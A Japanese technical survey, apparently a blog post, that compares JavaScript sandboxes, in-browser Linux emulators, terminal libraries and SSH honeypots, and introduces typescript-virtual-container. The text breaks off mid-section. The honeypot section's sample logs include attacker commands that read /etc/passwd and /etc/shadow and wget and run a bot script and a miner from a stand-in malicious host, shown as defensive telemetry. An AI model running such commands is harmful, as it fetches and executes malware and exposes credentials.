QuickJSはFabrice Bellardの作品だ(QEMU、FFmpeg、JSLinux、TinyEMUの同じ人物----この人は本当に現実離れしてる、一人でどうやってこんなことやってるんだ)。Cで書かれた小さな仕様準拠のES2023 JSエンジンで、Wasmにコンパイルするとわずか~500 KBだ。

import { getQuickJS } from "quickjs-emscripten";

const QuickJS = await getQuickJS();
const vm = QuickJS.newContext();

const result = vm.evalCode(`
  // V8とは完全に別のQuickJSで実行される
  (function() { return 6 * 7; })()
`);

if (result.error) {
  console.log("Error:", vm.dump(result.error));
  result.error.dispose();
} else {
  console.log("Result:", vm.dump(result.value)); // 42
  result.value.dispose();
}

vm.dispose();

QuickJSはCで書かれた小さな仕様準拠のES2023 JavaScriptエンジンだ。Wasmにコンパイルすると、同期バリアントで500 KB、非同期(Asyncify)バリアントで1 MB。メモリ管理は手動----VMから取り出した値はすべて明示的に破棄する必要がある。これはちょっと面倒だが、境界を越えたGCの驚きを防ぐ。面白いトレードオフだ!

@sebastianwessel/quickjsラッパーは、より人間工学的なAPIを追加し、オプションの仮想ファイルシステム、fetchサポート、Node.jsモジュールスタブを提供する:

import variant from "@jitl/quickjs-ng-wasmfile-release-sync";
import { loadQuickJs } from "@sebastianwessel/quickjs";

const { runSandboxed } = await loadQuickJs(variant);

const result = await runSandboxed(
  async ({ evalCode }) => evalCode(`
    import { join } from 'path';
    export default join('src', 'dist');
  `),
  { allowFs: false, allowFetch: false }
);

セキュリティモデルはisolated-vmとは異なる:Wasmの線形メモリモデルにより、ゲストはV8ヒープオブジェクトに直接アクセスできない。攻撃表面はホスト↔Wasmインターフェース(インポート/エクスポート)であり、JS言語全体ではない。これは一般的にProxyベースのサンドボクシングよりも堅牢だと考えられている。

欠点:QuickJSはV8と同じ最適化レベルを持っていない。CPUバウンドなJSワークロードでは、V8より5–20倍遅い。短いスニペットや信頼できないevalでは、通常これで問題にならない。

メモリ: インスタンスあたり~500 KBのWasmモジュール+ヒープ。
セキュリティ: Wasm境界。Proxyベースのアプローチより堅牢とされる。
npm: quickjs-emscripten, @sebastianwessel/quickjs
GitHub: justjake/quickjs-emscripten


1.5 Deno -- パーミッション優先ランタイム

Denoはまったく異なる哲学を取っている:Node内でサンドボックス化する代わりに、デフォルトでセキュアな新しいランタイムを構築する。このアプローチは本当に気に入ってる----そもそもNode.jsが最初からこうあるべきだったんだよ、正直言って。Ryan Dahl(元Node.jsの作者)は文字通り、Node.jsの設計判断のいくつかを後悔してDenoを作ったんだ。考えてみると結構ワイルドだよね。

すべての機密機能(ファイル読み取り、ファイル書き込み、ネットワーク、env、サブプロセス)には明示的な--allow-*フラグが必要:

# これは/dataからの読み取りのみ可能
deno run --allow-read=/data script.ts

# これは1つのドメインにのみfetch可能
deno run --allow-net=api.example.com script.ts

# フラグなし = パーミッションなし
deno run untrusted.ts # 読み取り、書き込み、ネットワーク、生成、すべて不可

パーミッションモデルはRust/OSレベルで実装されている----JSのトリックではない。DenoコードがDeno.readFile()を呼び出すと、それはファイルシステムに触れる前にパーミッションテーブルをチェックするRustのopを通過する。パーミッションが付与されていなければシステムコールは発生しないので、JSからバイパスすることはできない。

本当に信頼できないコードを実行するために、Deno Workers(Web Workers)は同じプロセス内に第2のIsolateを提供し、それぞれが独自のパーミッションセットを持つ。ゼロパーミッションのWorkerを生成し、postMessageで通信できる。

Deno 2(2024年10月リリース)は完全なnpm互換性とNode.js互換性シムを追加し、サーバーサイドでの採用を大幅に改善した。

トレードオフ: Denoのセキュリティモデルは、部分的に信頼できるコードには優れている。完全に信頼できない敵対的なコードの場合、パーミッションモデルは役に立たない----Isolate境界(isolated-vm)か別のエンジン(quickjs-emscripten)が必要だ。なぜならDenoもV8を動かしており、高度な攻撃者はV8レベルのバグを見つけられるからだ。


1.6 TC39 ShadowRealm -- 標準的な答え(いずれは)

JavaScriptの標準化団体(TC39)はShadowRealmというプロポーザルを持っており、vmとvm2がやろうとしていたことを、正しいセキュリティモデルで標準化しようとしている。ShadowRealmは、独自のイントリンシクスを持ち、外部レルムへのアクセスがなく、慎重に制御されたインポート/エクスポートインターフェースを持つ、分離されたJS実行コンテキストを作成する。

const realm = new ShadowRealm();
const result = realm.evaluate(`
  // 別個のイントリンシクス、外部レルムへのアクセスなし
  typeof globalThis.fetch // "undefined"
  6 * 7 // 42
`);

ShadowRealmはブラウザ(Chrome 90+、Firefox 105+)にはあるが、2026年現在、Node.js安定版にはまだない。TC39 Compartmentsプロポーザルはその上にモジュールレベルの分離を構築する。これらは長期標準の答えだが、サーバーサイドのNodeユースケースではまだプロダクションレディではない。遠くから来るのが見えているのに、まだ……届いていない。古典的なTC39だ xD


サンドボックスファミリーまとめ

| | vm | vm2 | isolated-vm | quickjs-emscripten | Deno Workers | |---|---|---|---|---|---|---| | 分離境界 | なし(スコープのみ) | Proxy(壊れてる) | V8 Isolate | Wasm | V8 Isolate + Rust権限 | | メモリ制限 | ❌ | ❌ | ✅ ハード制限 | ✅ Wasmヒープ | 部分的 | | CPUタイムアウト | ❌ | ✅(バイパス可) | ✅ ハード | ✅ | ✅ | | セキュリティ | なし | 壊れてる | 強力 | 強力 | 強力 | | JS速度 | ネイティブV8 | ネイティブV8 | ネイティブV8 | ~10倍遅い | ネイティブV8 | | ブラウザ | ❌ | ❌ | ❌ | ✅ | ❌ | | Node互換 | ネイティブ | ✅ | ✅ | 部分的シム | 部分的 | | ステータス | 安定 | リスクあり(新CVE) | ✅ 活発 | ✅ 活発 | ✅ 活発 | | RAMオーバーヘッド | ~1 MB | ~5–20 MB | ~3–10 MB | ~5–15 MB | ~10–30 MB |

結論:セキュリティを気にするなら、本当の選択肢は正確に2つ----isolated-vm(ネイティブアドオン、V8 Isolate、フルJS速度)とquickjs-emscripten(Wasm、ブラウザ互換、計算負荷の高いコードで~10倍遅い)だ。それ以外は「やめてください」(vm、vm2)か、まったく別の問題を解決するランタイム(Deno)だ。ShadowRealmがいつかこの状況を変えるかもしれないが、まだそこには届いていない。


パート2 -- JavaScriptのLinuxエミュレーター

ここからが本当に面白いところだ。これらは本物のエミュレーターで----JavaScriptまたはWebAssemblyでCPU命令セットを実装し、実際のLinuxカーネルイメージを起動し、本物のユーザーランドバイナリを実行する。分離は、ゲストとホストが何も共有しないことから来る:異なるメモリ空間、異なる命令ストリーム。

代償は莫大だが、得られるものは本当に注目に値する:実際のLinuxが、実際にブラウザやNodeプロセスの中で動作している。考えてみると結構ヤバくない?

2.1 v86 -- JS + Wasm JITのx86 PCエミュレーター

GitHubのFabrice(copy)によるv86は、JavaScriptで最も高性能なオープンソースx86エミュレーターだ。2013年頃にピュアJSインタプリタとして始まり、x86ベーシックブロックをオンザフライでWebAssemblyにトランスパイルするJITコンパイルシステムに進化し、パフォーマンスを劇的に向上させている。

エミュレートするもの:

  • CPU: x86-32(IA-32)、命令セットはおおよそPentium 1レベル。64ビット(x86-64)は未対応----これはハードなアーキテクチャ制限であり、機能の欠落ではない。
  • FPU: JavaScriptのFloat64Array経由。x87は80ビット拡張精度だが、JSのdoubleは64ビット。つまり浮動小数点の結果が実際のCPUと微妙に異なる可能性がある。
  • メモリ: 設定可能。JSヒープ内のSharedArrayBufferまたはArrayBufferにマップされる。
  • ハードウェア: 8254 PIT(タイマー)、8259 PIC(割り込みコントローラー)、8042キーボードコントローラー(PS/2)、CMOS RTC、SVGA拡張とBochs VBE付きVGA、IDEコントローラー、フロッピーコントローラー(8272A)、NE2000ネットワークカード。
  • BIOS: SeaBIOS(オープンソースx86 BIOS)を使用。

JITはベーシックブロック(ジャンプのないx86命令のシーケンス)を識別し、WebAssembly関数に変換し、その関数をキャッシュし、同じブロックの後続の実行で呼び出す。ホットなコードパスはネイティブWasmのパフォーマンスを得る。コールドパスはJSインタプリタにフォールバックする。

import { V86 } from "v86";
import { readFileSync } from "fs";

const emulator = new V86({
  bios:    { buffer: readFileSync("./bios/seabios.bin") },
  vga_bios:{ buffer: readFileSync("./bios/vgabios.bin") },
  hda:     { buffer: readFileSync("./images/alpine.img"), async: false },
  memory_size: 128 * 1024 * 1024, // 128 MB
  autostart: true,
});

// シリアル出力(Linuxカーネルコンソール)をキャプチャ
emulator.add_listener("serial0-output-byte", byte => {
  process.stdout.write(String.fromCharCode(byte));
});

// ゲストに入力を送信(シェルにタイプ)
emulator.serial0_send("ls /\n");

対応OS: Alpine Linux(秀逸)、Ubuntu 16.04/18.04(i386のみ)、Arch Linux 32、ReactOS、FreeDOS、Windows 9x/2000(制限あり)、MS-DOS。

起動時間: クリーンイメージからのAlpine Linuxで15–40秒。これは本物のカーネル初期化に内在する----スキップできない。そう、ユーザーはブラウザでカーネル起動シーケンスを眺めることになる。それが取引だ xD

メモリ下限: インスタンスあたり100–256 MB。Wasm JITコードキャッシュだけでも、ビジーなLinuxインスタンスで数十MBに達する。

Node.jsでの使用: 完全対応。DOM不要----シリアルだけ気にするならVGA出力は破棄できる。

できないこと: 64ビットバイナリの実行、最新カーネル機能(eBPF、io_uringなど)の使用、メモリ制限に引っかからずに同時に数個以上のインスタンスを実行すること。

npm: v86 -- 継続的に更新、執筆時点で最終公開は昨日。
GitHub: copy/v86
デモ: copy.sh/v86


2.2 JSLinuxとTinyEMU -- Bellardの作品、2度

JSLinuxはFabrice Bellard自身のJavaScript Linuxエミュレーター----最初のもので、2011年に公開された。この記事で何度もBellardの名前が出てくるのは、彼が次から次へと登場するからだ:QuickJS、TinyEMU、JSLinux、QEMU、FFmpeg。この男は別格だ。ソフトウェア史上、最も印象的な個人の技術的貢献の一つと言っても過言ではない。

オリジナルのJSLinuxは純粋なJSのx86インタプリタだった。2016年、BellardはTinyEMU(C言語のRISC-Vエミュレーター)を書き、Emscripten経由でJavaScriptにコンパイルし、それが現在のJSLinuxのベースになった。つまり現在のJSLinuxは、実際にはJavaScriptを生成するCコードであって、手書きのJSではない。

Bellardのサイトの技術ノートは読む価値がある:現在のJSLinuxは32または64ビットのRISC-V CPU(x86ではない)を実行し、VirtIOコンソール、VirtIOネットワーク、VirtIOブロックデバイス、ホストとのファイル共有用9Pファイルシステムをエミュレートする。JSデモはEmscriptenを使ってCからコンパイルされている----手書きのJSではない。

TinyEMU自体が対応するもの:

  • RISC-V RV32IMAFDQC および RV64IMAFDQC(32および64ビット、浮動小数点、乗算、圧縮命令)
  • KVM経由のx86(ネイティブのみ、エミュレーションなし----つまりJSバージョンはRISC-Vのみ)
  • VirtIOコンソール、ネットワーク、ブロック、入力、9Pファイルシステム

TinyEMUにはEmscripten経由のJavaScriptデモが用意されている。JSLinuxのベースであり、container2wasm(セクション2.5参照)でも使われている。

JSLinuxのステータス: npmパッケージなし、プログラム可能なAPIなし。ブラウザで開くデモだ。歴史的意義は高い----概念を証明した。ライブラリとしての実用的な使用:なし。

TinyEMU: npmにはなし、Cソースはbellard.org/tinyemuで入手可能。


2.3 jor1k -- OR1Kエミュレーター

jor1kはSebastian MackeによるJavaScriptで書かれたOpenRISC 1000(OR1K)エミュレーターだ。歴史的に興味深いのは、jor1kがVirtIO 9Pファイルシステムサポートを導入し、Bellardが後にTinyEMUとJSLinuxに取り入れたからだ。これらのプロジェクト間のクロス・ポリネーションは緊密で、互いに借用し合っている----これがオープンソースエミュレーション作品の最もクールな点の一つだ。

ステータス: もう積極的にはメンテナンスされていない。npmパッケージなし。現時点ではアーカイブされている。主に歴史的文脈のために知っておく価値がある----誰かが会話でjor1kを持ち出したら、何のことかわかるってわけだ :)


2.4 CheerpX -- ブラウザ向け商用x86エミュレーター

Leaning TechnologiesによるCheerpXは、商用のプロダクショングレードx86 Linuxエミュレーターだ。オープンソースではないが、実際のDebian/Ubuntuユーザーランドを動かすにはv86より大幅に高性能だ。ブラウザで実際のVSCodeが必要なら、これを使う。

v86との主な違い:

  • より広いISAに対応(より多くのx86拡張、より良いglibc互換性)
  • ブラウザ内のIndexedDBベースのファイルシステム(ページリロード間で永続)
  • SharedArrayBufferによるpthreadサポート(COOP/COEPヘッダーが必要----そう、あの面倒なセキュリティヘッダー)
  • VSCode、Python、Node.jsなどの実際のアプリケーションを実行するよう設計----最小限のOSイメージだけではない
  • プロフェッショナルサポートとSLAあり(つまり壊れたら誰かを怒鳴れる)

典型的なユースケースは「サーバーなしでブラウザで実際のLinuxアプリケーションを実行する」。企業はブラウザベースのIDE、コーディングチュートリアル、インタラクティブなドキュメンテーションに使っている。

// CheerpX API(簡略化)
const cx = await CheerpX.Linux.create({
  mounts: [{ type: "ext2", path: "/", dev: CloudDevice.create(...) }],
});
await cx.run("/bin/bash");

Node.jsの対応: CheerpXはブラウザファースト。基礎となるエミュレーターは理論的にはNodeでも動くかもしれない(Wasmなので)が、APIとドキュメントは完全にブラウザ使用に向いている。サーバーサイドでの使用はサポートされていない。

メモリ: v86と同様----実際のDebianインスタンスで200+ MB。
価格: オープンソースプロジェクトには無料、プロダクションSaaSには商用ライセンス。
ドキュメント: cheerpx.io/docs/overview


2.5 WebContainers(StackBlitz) -- Wasm内のNode.js、Linuxエミュレーションではない

WebContainersはよくLinuxエミュレーターと一緒くたにされるが、アーキテクチャは異なる。x86をエミュレートしない。Linuxを起動しない。WASIを使ってWebAssemblyにコンパイルされたNode.jsを実行する。この区別は重要で、俺自身もこれにずっと混乱してた lol。

混乱はマーケティングから来ていると思う----「ブラウザでNode.jsを実行する」と聞くとエミュレーションのように聞こえるが、実際はVM内でNode.jsを動かすLinuxエミュレーションではなく、Node.js自身がWasmにコンパイルされている。まったく別物だ。

アーキテクチャ:

  1. Node.jsがWasmにコンパイルされる(具体的にはカスタムWASIランタイム)
  2. Service WorkerがエミュレートされたNode.jsサーバーからのネットワークリクエストをインターセプトし、ブラウザタブにルーティングする
  3. ファイルシステムはブラウザメモリ内に存在する(ディスクI/Oなし)
  4. npmはブラウザ内使用に最適化されたカスタム実装
import { WebContainer } from "@webcontainer/api";

const webcontainer = await WebContainer.boot();

// ファイルを書き込む
await webcontainer.mount({
  "index.js": { file: { contents: `console.log("hello")` } },
  "package.json": { file: { contents: `{"name":"demo","type":"module"}` } }
});

// Node.jsコマンドを実行
const proc = await webcontainer.spawn("node", ["index.js"]);
proc.output.pipeTo(new WritableStream({ write: chunk => console.log(chunk) }));

実際のNode.js(Wasmコンパイル済み)を実行するので、実際のnpm、実際のNode.js API、実際のモジュール解決が得られる。汎用Linuxユーザーランドは得られない----システムパッケージをaptでインストールしたり、任意のコンパイル済みバイナリを実行したり、Node.jsエコシステムの外で多くのことはできない。

ブラウザ要件: SharedArrayBuffer(COOP/COEPヘッダーが必要)、Service Worker対応、モダンWasm。

Node.jsの対応: ブラウザ専用に設計。ブラウザコンテキスト外ではAPIは機能しない。

npm: @webcontainer/api
ドキュメント: webcontainers.io


2.6 container2wasm -- WasmにコンパイルされたDockerコンテナ

container2wasmはNTTのツール(npmパッケージではない)で、DockerコンテナイメージをWebAssemblyバイナリに変換し、任意のWasmホスト(ブラウザを含む)で実行できるようにする。最初に見たときは本当に信じられなかった。

メカニズム:

  • x86_64コンテナの場合:Bochs(Wasmにコンパイルされたx86エミュレーター)+ コンテナのルートファイルシステムを埋め込む
  • riscv64コンテナの場合:TinyEMU(またBellardだ!)+ コンテナのルートファイルシステムを埋め込む
  • 結果の.wasmファイルがエミュレーターを起動し、コンテナファイルシステムをマウントし、コンテナのエントリーポイントを実行する
# Ubuntu 22.04コンテナをWasmに変換
c2w ubuntu:22.04 out.wasm

# 実行
wasmtime out.wasm uname -a
# Linux 5.15.0 #1 SMP riscv64 GNU/Linux

# ブラウザ用に提供
c2w --to-js ubuntu:22.04 /tmp/htdocs/

結果の.wasmは大きい----最小限のUbuntuでも数百MB----しかし完全に自己完結している。誰かに.wasmをメールで送って、ブラウザでUbuntuを実行してもらうことができる。その文は意味をなさないはずだが、現実だ。

GitHub: container2wasm/container2wasm


エミュレーターファミリーまとめ

v86 JSLinux/TinyEMU jor1k CheerpX WebContainers container2wasm
アーキテクチャ x86-32 JIT→Wasm RISC-V(Wasm) OR1K(JS) x86(プロプライエタリ) Node.js→Wasm/WASI x86/RISC-V(Wasm)
本物のカーネル ✅ ✅ ✅ ✅ ❌(Node.js) ✅
64ビット ❌ ✅(RISC-V) ❌ ✅ n/a ✅
npmパッケージ ✅ ❌ ❌ CDN/API ✅ ❌(CLIツール)
Node.js使用 ✅ ❌ ❌ ❌ ❌(ブラウザのみ) Wasmtime経由
ブラウザ使用 ✅ ✅ ✅ ✅ ✅ ✅
RAM/インスタンス 150–256 MB ~64–128 MB ~64 MB 200+ MB ~100 MB ~200–500 MB
起動時間 15–40秒 10–30秒 10–30秒 15–40秒 2–5秒 10–40秒
オープンソース ✅ ✅ ✅ ❌ 部分的 ✅
ステータス ✅ 非常に活発 ✅ 安定 ⚠️ アーカイブ ✅ 商用 ✅ 活発 ✅ 活発

この表から浮かび上がるのは:v86はnpmパッケージであり、ブラウザとNodeの両方で動作し、オープンソースである唯一のものだ。だから「JavaScript Linuxエミュレーター」の会話で支配的なんだ。他のものには何かしらの欠点がある----JSLinuxにはAPIがない、jor1kはアーカイブ、CheerpXは有料、WebContainersはブラウザ専用でNode固有、container2wasmはビルドステップとCLIが必要。「JavaScriptでLinuxを起動する」だけが必要なら、ほとんどいつもv86が適切な出発点だ。


パート3 -- ターミナルスタック:xterm.jsとnode-pty

シェル的な体験を作るときに常に出てくる2つのパッケージ。サンドボックスでもエミュレーターでもない----UIとPTYの配管だ----でも非常に近接しているので、省くのは心が痛む。それに両方使ったことがあるけど、本当にいい出来だ。

3.1 xterm.js -- ターミナルレンダラー

xterm.jsはブラウザ用のターミナルエミュレーターだ。<canvas>要素でターミナル画面(VT100/xtermエスケープシーケンス)をレンダリングし、キーボード入力を処理し、データの入出力用APIを公開する。

使用先:VS Codeの統合ターミナル、Azure Cloud Shell、Proxmox VE、AWS CloudShellなど。

import { Terminal } from "@xterm/xterm";
import { FitAddon } from "@xterm/addon-fit";

const term = new Terminal({ cursorBlink: true });
const fitAddon = new FitAddon();
term.loadAddon(fitAddon);
term.open(document.getElementById("terminal"));
fitAddon.fit();

// ターミナルにデータを送信(テキストとしてレンダリング)
term.write("$ ");
term.onData(data => {
  // dataはキーストローク----バックエンドに送信
  socket.send(data);
});
socket.onmessage(msg => {
  // バックエンドからの出力----表示
  term.write(msg.data);
});

xterm.jsはレンダリングレイヤーのみ。シェルを実行しない。コマンドを解釈しない。好きなバックエンドに配線する表示ウィジェットだ。多くの人がxterm.jsが「ターミナルをやる」と思っているが、実際はただの画面----コマンドを実際に実行する何かに接続する必要がある。

npm: @xterm/xterm
GitHub: xtermjs/xterm.js


3.2 node-pty -- PTY生成

node-ptyはNode.jsで擬似端末(PTY)を生成し、それに対する読み書きハンドルを提供する。xterm.jsと組み合わせて、サーバー上で実行されている実際のシェル(bash、zsh、fish)と通信するブラウザターミナルを構築できる。

import * as pty from "node-pty";

const shell = pty.spawn("bash", [], {
  name: "xterm-color",
  cols: 80,
  rows: 30,
  cwd: process.env.HOME,
  env: process.env,
});

shell.onData(data => {
  // WebSocket経由でブラウザのxterm.jsに送信
  ws.send(data);
});

ws.on("message", data => {
  // ブラウザのキーストロークをシェルに転送
  shell.write(data);
});

これがクラウドIDEやWebターミナルの標準パターンだ:xterm.js(ブラウザ)↔ WebSocket ↔ node-pty ↔ 本物のbash。分離はない。シェルはNode.jsプロセス(またはそれを実行するユーザー)の全権限で動作する。

メンテナンス: Microsoft。
npm: node-pty
GitHub: microsoft/node-pty


パート4 -- SSHハニーポット

ハニーポットは攻撃されるために設計されている。目標は、攻撃者が対話するのに十分リアルに見えつつ、脅威インテリジェンスのためにすべての行動を記録することだ。SSHは主要なターゲットだ。なぜならインターネット上で最も攻撃されるサービスだから----パブリックIPでポート22を公開すると、文字通り数分以内に自動スキャン試行が見える。試してみてほしい、どれだけ速いかちょっと怖くなるから。

ハニーポットの品質は2つのもので測定される:忠実度(どれだけ説得力を持って本物のシステムを装うか)とテレメトリー(どれだけ有用なデータをキャプチャするか)。これらはトレードオフの関係にある。高忠実度のハニーポットは構築が難しく、運用リスクも高い。

このセクションが、最終的にtypescript-virtual-containerにHoneyPotモジュールを構築するきっかけになったので、ここにはいくつか意見がある。

4.1 Cowrie -- 黄金基準

CowrieはPythonベースの中〜高インタラクションのSSHおよびTelnetハニーポットだ。研究・セキュリティコミュニティで最も広くデプロイされているSSHハニーポットだ。

アーキテクチャ:

  • プロトコル層: 本物のSSHプロトコル実装(Twisted Conch)。攻撃者は本物のハンドシェイク、本物の鍵交換、本物の認証を得る。
  • シェル層: 偽のファイルシステム(Debian 5.0を模倣)と、一般的なコマンドに応答する部分的なシェルインタプリタ。
  • プロキシモード: 背後にある実際のシステムに転送(高インタラクションモード)、通過するすべてを記録。
  • LLMモード(最近追加): 言語モデルを使って、処理方法を知らないコマンドに動的な応答を生成。そう、CowrieにはAIモードがある。すごい時代だ。
# Cowrieがキャプチャするもの
{
  "timestamp": "2024-01-15T03:22:11.847Z",
  "src_ip": "45.33.32.156",
  "username": "root",
  "password": "123456",
  "session": "abc123",
  "commands": [
    "uname -a",
    "cat /etc/passwd",
    "wget http://malicious.example/bot.sh",
    "chmod +x bot.sh",
    "./bot.sh"
  ],
  "files_downloaded": ["bot.sh"]
}

Cowrieはダウンロードされたファイル(wget/curl/SFTP/SCP経由)をマルウェア解析用に保存する。Splunk、Elasticsearch、その他のSIEMプラットフォームと統合する。

忠実度: 中〜高。自動ボットを騙すには十分(SSH攻撃者の99%はそうだ----ほとんどがroot/passwordを試すだけの愚かなスクリプトだ)。洗練された人間はフィンガープリントできるが、たいていはすぐにバレる。

言語: Python(Twisted)
GitHub: cowrie/cowrie


4.2 Kippo -- Cowrieの前身

Kippoはオリジナルの中インタラクションSSHハニーポットで、Cowrieのベースになった。同じ基本アイデア:本物のSSHプロトコル、偽のファイルシステム、部分的なシェル。Cowrieは完全にこれを取って代わった----Kippoはアーカイブされており、2026年に誰も実行すべきではない。古いブログ記事やセキュリティ論文で言及されているのを見かけるかもしれないので、歴史的完全性のためにここに挙げた。

GitHub: desaster/kippo -- アーカイブ


4.3 endlessh -- SSHターピット

endlesshは退化したハニーポットだ:バナーデータを毎秒1バイト(またはそれ以下)でゆっくりと滴下することで、SSH接続を開いたままにする。接続するSSHクライアントは無期限にハングする----サーバーがバナーの送信を終えないので、認証にすら到達できない。

目標は脅威インテリジェンスではなく、純粋なリソース拒否だ:攻撃者のスキャナースレッドを拘束し、実際のターゲットをより速く攻撃できないようにする。正直、最高に邪悪なやり方だ。攻撃者から何かを学ぶのではなく、ただ相手の時間を無駄にする。それには深い満足感がある。

// endlesshのプロトコル動作の全て:
// 送信:"SSH-2.0-OpenSSH_" そしてランダムな文字をゆっくり追加
// 接続を絶対に閉じない
// 攻撃者のスキャナーはN秒後にタイムアウト

コマンドはキャプチャされない。認証はテストされない。単なる接続時間の消費だ。

言語: C
GitHub: skeeto/endlessh


4.4 sshesame -- 「全員通せ」ハニーポット

sshesameはすべてのSSH接続を許可し(任意のユーザー名、任意のパスワード、任意のキー)、すべてをログに記録する。ゼロインタラクションのハニーポットだ:コマンドには応答せず、攻撃者を「中に入れる」だけで、タイプするすべてのキーストロークを記録する。

2024-01-15 03:22:11 Connection from 45.33.32.156
  Username: root, Password: password123 -- accepted
  Commands typed:
    cat /etc/shadow
    wget http://malicious.example/miner
    uname -a
  Disconnected after 47s

資格情報の収集に有用:ボットが試すユーザー名とパスワードがすぐに蓄積され、現在どのデフォルト資格情報が活発にブルートフォースされているかがわかる。ネタバレ:いつもroot/password、admin/admin、root/123456だ。毎回。

GitHub: jaksi/sshesame


4.5 Lyrebird -- Dockerベースのハニーポットフレームワーク

lyrebird/honeypot-baseは、ネットワークサービスのハニーポットを構築するためのDockerベースイメージだ。特にSSHハニーポットというわけではない----任意のプロトコルのハニーポットを構築するためのフレームワークだ。

ベースイメージはロギングフレームワーク、プロトコル用プラグインシステム、マルチサービスハニーポット用のDocker Composeセットアップを提供する。特定のサービスを偽装するために拡張する。

Docker Hub: lyrebird/honeypot-base


4.6 Node.jsでSSHハニーポットを構築する -- ナイーブな方法とその失敗

typescript-virtual-container以前は、Node.jsでSSHハニーポットを構築するには、実際のssh2ライブラリと手動のコマンド偽装を組み合わせる必要があった。非常に面倒で、非常に不完全だ。でも……今や通過儀礼みたいなものだ:

import { Server } from "ssh2";
import { readFileSync } from "fs";
import { appendFileSync } from "fs";

const hostKey = readFileSync("./host.key");

new Server({ hostKeys: [hostKey] }, client => {
  client.on("authentication", ctx => {
    // 試行を記録
    appendFileSync("creds.log", `${ctx.username}:${ctx.credentials?.password}\n`);
    ctx.accept(); // 全員通せ
  });

  client.on("ready", () => {
    client.on("session", (accept) => {
      const session = accept();
      session.on("shell", accept => {
        const stream = accept();
        stream.write("Last login: Mon Jan 15 03:00:00 2024 from 10.0.0.1\r\n");
        stream.write("root@ubuntu:~# ");
        stream.on("data", data => {
          const cmd = data.toString().trim();
          appendFileSync("commands.log", `${cmd}\n`);
          // 偽の応答
          if (cmd === "uname -a") {
            stream.write("\r\nLinux ubuntu 5.15.0-91-generic #101-Ubuntu x86_64 GNU/Linux\r\n");
          } else {
            stream.write(`\r\n${cmd}: command not found\r\n`);
          }
          stream.write("root@ubuntu:~# ");
        });
      });
    });
  });
}).listen(2222);

これは資格情報とコマンドをキャプチャするという意味で「機能する」。しかし、洗練された攻撃者がちょっと突いた瞬間に明らかに偽物だとわかる。uname -aは正しい文字列を返すが、ls /etcは「command not found」----これは自白だ。ファイルシステムが存在しない。コマンドはチェーンできない。パイプは機能しない。変数は展開されない。

熟練した攻撃者は最初の5コマンドであなたのハニーポットをフィンガープリントする。Cowrie的な振る舞いをチェックする自動スクリプトも即座に検出する。どうやらこれが、typescript-virtual-containerの作者を、コマンドを実際に解釈するものを作る方向に押しやったらしい----詳しくはパート5で。


ハニーポットファミリーまとめ

Cowrie Kippo endlessh sshesame Lyrebird ナイーブssh2
インタラクション度 中〜高 中 ゼロ ゼロ 様々 低
本物のSSHプロトコル ✅ ✅ ❌(ターピット) ✅ 様々 ✅
シェルの忠実度 中 中 n/a なし 様々 最小限
資格情報のキャプチャ ✅ ✅ ❌ ✅ ✅ ✅
コマンドのキャプチャ ✅ ✅ ❌ ✅ 様々 ✅
マルウェアのキャプチャ ✅ ✅ ❌ ❌ ❌ ❌
SIEM統合 ✅ ネイティブ ❌ ❌ ❌ ❌ 手動
LLM応答 ✅(新機能) ❌ ❌ ❌ ❌ ❌
言語 Python Python C Go Docker Node.js
Node.jsネイティブ ❌ ❌ ❌ ❌ ❌ ✅
ステータス ✅ 非常に活発 ⚠️ アーカイブ ✅ 活発 ✅ 活発 ✅ 活発 DIY

パターンは明らかだ:より忠実度を求めるほど、より多くのPythonを書く必要がある。真剣にやるならCowrieが明らかな勝者だ----長年戦場で試されてきて、資格情報以上のものをキャプチャする。endlesshとsshesameは本格的な脅威インテルツールというより楽しいサイドプロジェクトだ。ナイーブなNode.jsアプローチは壁にぶつかるまでにせいぜい20%程度しか到達しない。


パート5 -- typescript-virtual-container:ギャップを埋めるもの

さて、ここからが面白いところだ。上記の全ファミリーをカタログ化した後、欠落している象限がかなり明らかになる:

  • JSサンドボックス:コードを分離するが、シェルなし、ファイルシステムなし、SSHなし
  • Linuxエミュレーター:本物のOS、本物のシェル、本物のSSH……でも150+ MB RAM、30秒の起動時間、そしてシリアルI/Oの上に独自APIを構築する必要あり
  • ハニーポット:偽のシェル、プログラム可能なAPIなし、Python/Go/C、Nodeネイティブではない

完全で、プログラム可能で、NodeネイティブなLinux環境----本物のSSH、本物のパーミッション、本物の仮想ネットワーキング、型付きTypeScript APIを持つもの----を構築した人はいなかった。だから彼女が作った。

簡単な紹介:これはこの記事で初めてちゃんと彼女に言及するから:typescript-virtual-containerはChloé Rolzhausenによって作られた。フランスの開発者で、オンラインではFortune(またはItsRealFortune)として知られている。彼女のウェブサイトとLinkedInで見つけられる。プロジェクト全体----56k行のTypeScript、247ファイル、170コマンド----は一人の個人による単独の努力だ。この記事の残りでは彼女をFortuneと呼ぶ。そしてそう、ちょっとすごい。彼女の作品をチェックしてみて!

実際のところ、それは何なのか

typescript-virtual-containerはLinux環境シミュレーターで、純粋なTypeScriptで書かれている。Wasmなし。ネイティブアドオンなし。カーネルなし。247のTypeScriptファイルにわたる約56,000行のソース。

重要な洞察:ls /etc | grep passwdを機能させるのにCPUエミュレーターは必要ない。必要なもの:

  1. パス操作に応答するメモリ内ノードのツリー
  2. すべてのアクセスで強制されるPOSIXパーミッションモデル
  3. パイプライン、リダイレクション、サブシェル、変数展開を理解するシェルパーサー
  4. ~170のコマンド実装(関数であってバイナリではない)
  5. ユーザーとグループの管理システム
  6. これらすべてをSSH経由で公開する仕組み

これらはすべて、カーネルの関与なしに純粋なTypeScriptで達成可能だ。

VirtualFileSystem

VFSは型付きノードのメモリ内ツリー----明示的に"fs"永続モードを有効にしない限り、ディスクI/Oはない:

// 簡略化された内部表現
type InternalNode =
  | { type: "file"; content: string | Uint8Array; mode: number; uid: number; gid: number; mtime: number }
  | { type: "dir"; children: Map<string, InternalNode>; mode: number; uid: number; gid: number }
  | { type: "symlink"; target: string }
  | { type: "device"; kind: "char" | "block"; read(): string; write(data: string): void }
  | { type: "stub" }; // 遅延ロードされるプレースホルダー

すべてのパス操作はnormalizePath(.、..、シンボリックリンクを解決)とenforceAccess(要求元のuid/gidに対する読み取り/書き込み/実行パーミッションをチェック)を通過する。chmod、chown、スティッキービット、setuidはすべて実装されており、実際に強制される。uid 1000のプロセスが、モード0600のroot所有ファイルを読み取ろうとすると、EACCESが返る----偽のEACCESではなく、パーミッションチェックからスローされる本物のJavaScript Errorだ。その部分はかなりエレガントだと思う。

VFSは以下の形式にシリアライズされる:

